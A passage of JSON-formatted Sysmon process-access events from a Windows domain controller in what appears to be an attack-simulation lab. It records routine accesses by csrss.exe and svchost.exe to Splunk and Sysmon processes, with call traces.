Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4176-5F2D-0000-0010B1CF0800}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4176-5F2D-0000-0010B1CF0800}","TargetProcessId":"2444","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5877,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5878,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5879,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 